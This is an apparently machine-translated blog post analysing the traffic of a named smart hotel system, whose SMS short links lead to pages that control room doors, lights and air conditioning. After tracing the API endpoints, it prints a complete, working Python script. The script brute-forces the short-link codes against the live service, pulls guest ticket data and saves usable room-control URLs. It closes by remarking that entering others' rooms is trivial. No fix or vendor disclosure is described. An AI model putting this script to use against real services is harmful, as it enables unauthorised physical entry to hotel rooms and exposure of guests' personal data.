简体中文 / [English]


A Packet Capture and Analysis of a Smart Hotel System

 

This article is currently an experimental machine translation and may contain errors. If anything is unclear, please refer to the original Chinese version. I am continuously working to improve the translation.

Back in July, during a chemistry olympiad training program at Suzhou High School, I stayed at the “Meitu Smart Choice Hotel” across from the school. I noticed that the hotel used a smart hotel management system provided by Xiezhu Technology.

The system appeared quite high-tech—guests could even unlock their room doors using a smartphone, without needing a physical key card?

  • screenshotscreenshot

  • screenshotscreenshot

During my free time at noon, I decided to perform some packet capture and analysis on this system.

After check-in, guests receive an SMS containing a short URL like https://hub2.cn/xxxx, where “xxxx” is a 4-character combination of uppercase letters, lowercase letters, and digits.
I suspected this was a third-party URL shortening service that returns a Base64-encoded real URL along with a piece of JavaScript to redirect the user.
After several redirects (likely used for traffic analytics), the user is eventually brought to the first official Xiezhu website URL, typically in the format:
https://sms.xiezhuwang.com/hotelmaster/firstlook?path=home&key=xxxxxxxxxx
This page displays a welcome screen, sets a Session ID in the user’s Cookie, and then immediately redirects to the control panel.

JavaScript on the control page calls the /Client/GetTicketLightAndDevice endpoint on the same domain. The response looks like this (JSON not formatted for space reasons, sorry):

1
{"ticketList":[],"lightConfig":[{"AreaName":"灯光","DeviceList":[{"Key":10005,"Name":"灯1","DeviceType":"256"},{"Key":10006,"Name":"灯2","DeviceType":"256"},{"Key":10007,"Name":"灯3","DeviceType":"256"},{"Key":10008,"Name":"灯4","DeviceType":"256"}]}],"deviceList":[{"DeviceRealType":"ac","DeviceList":[{"DeviceKey":10003,"DeviceName":"空调","DeviceType":"32","State":0,"Remark":null}]},{"DeviceRealType":"curtain","DeviceList":[{"DeviceKey":10001,"DeviceName":"窗帘","DeviceType":"2","State":0,"Remark":null}]},{"DeviceRealType":"tv","DeviceList":[{"DeviceKey":10004,"DeviceName":"电视","DeviceType":"32","State":0,"Remark":null}]},{"DeviceRealType":"audio","DeviceList":[{"DeviceKey":10002,"DeviceName":"音响","DeviceType":"272","State":0,"Remark":null}]},{"DeviceRealType":"lift","DeviceList":[]}],"hasDoor":false,"isDemo":true,"isSuccess":true}

If the room hasn’t been checked out yet (I’ve already checked out when writing this), the ticketList array in the JSON response would contain a ticketCode and other personal guest information, and the isDemo value would be false.

From there, one only needs the obtained ticketCode and the Session ID from the Cookie to access the /Client/UseConsole endpoint and gain full control over the door, lights, curtains, air conditioning, and other in-room devices.

</Analysis Process>

So far, there might not seem to be any obvious vulnerabilities—but a deeper look reveals that the very first step of the system—the short URL—is fundamentally flawed.
The short link uses a 4-character code composed of uppercase letters, lowercase letters, and digits, resulting in only (26 × 2 + 10)^4 = 14,776,336 possible combinations.
By today’s internet standards—even on mobile data—this is trivially easy to brute-force.

Here’s a Python implementation that demonstrates this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import requests
import _thread
import time
import base64
import json

all_str = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789"

total = ( 26 * 2 + 10 ) ** 4
counter = 0
running = 16


def is_valid_room(req):
start = req.find("real_url_base64")
if start == -1:
print("invalid: url not found " + req)
return False
req = req[start:]
start = req.find("value=\"")
req = req[start + 7:]
req = req[:req.find("\"")]
url = ""
try:
url = base64.b64decode(req.encode("utf-8")).decode("utf-8")
except Exception as e:
print(e)
return False
if "sms.xiezhuwang.com/hotelmaster/firstlook" not in url:
print("invalid url:" + url)
return False
req = requests.get(url, verify=False, timeout=10)
print(req.cookies)
session_id_cookie = req.cookies
req = requests.get("https://sms.xiezhuwang.com//Client/GetTicketLightAndDevice?t=" + str(round(time.time())), cookies=session_id_cookie, verify=False).content.decode("utf-8")
print(req)
try:
res = json.loads(req)["ticketList"][0]
print(res["RoomNo"])
print("OK!")
f = open(res["HotelName"] + "-" + res["RoomNo"], "w")
f.write(url)
f.close()
return True
except Exception as e:
print(e)
print("invalid: failed to get RoomNo")
return False


def check(i):
global running
while True:
try:
running -= 1
r = requests.get("https://hub2.cn/" + i, timeout=2, verify=False).content.decode("utf-8")
if "短网址不存在" not in r:
if is_valid_room(r):
f = open(i, "w")
f.write(r)
f.close()
running += 1
break
except Exception as e:
print(e)
running += 1


for i in all_str:
for i2 in all_str:
for i3 in all_str:
for i4 in all_str:
res = i + i2 + i3 +i4
counter += 1
while running < 0:
pass
_thread.start_new_thread(check, (res,))
time.sleep(0.001)
print(str(running) + " " + res + " " + str(counter) + " " + str(counter / total))

So, does this mean walking in and out of other people’s rooms becomes trivial?

That’s it.

This article is licensed under the CC BY-NC-SA 4.0 license.

Author: lyc8503, Article link: https://blog.lyc8503.net/en/post/hotel/
If this article was helpful or interesting to you, consider buy me a coffee¬_¬
Feel free to comment in English below o/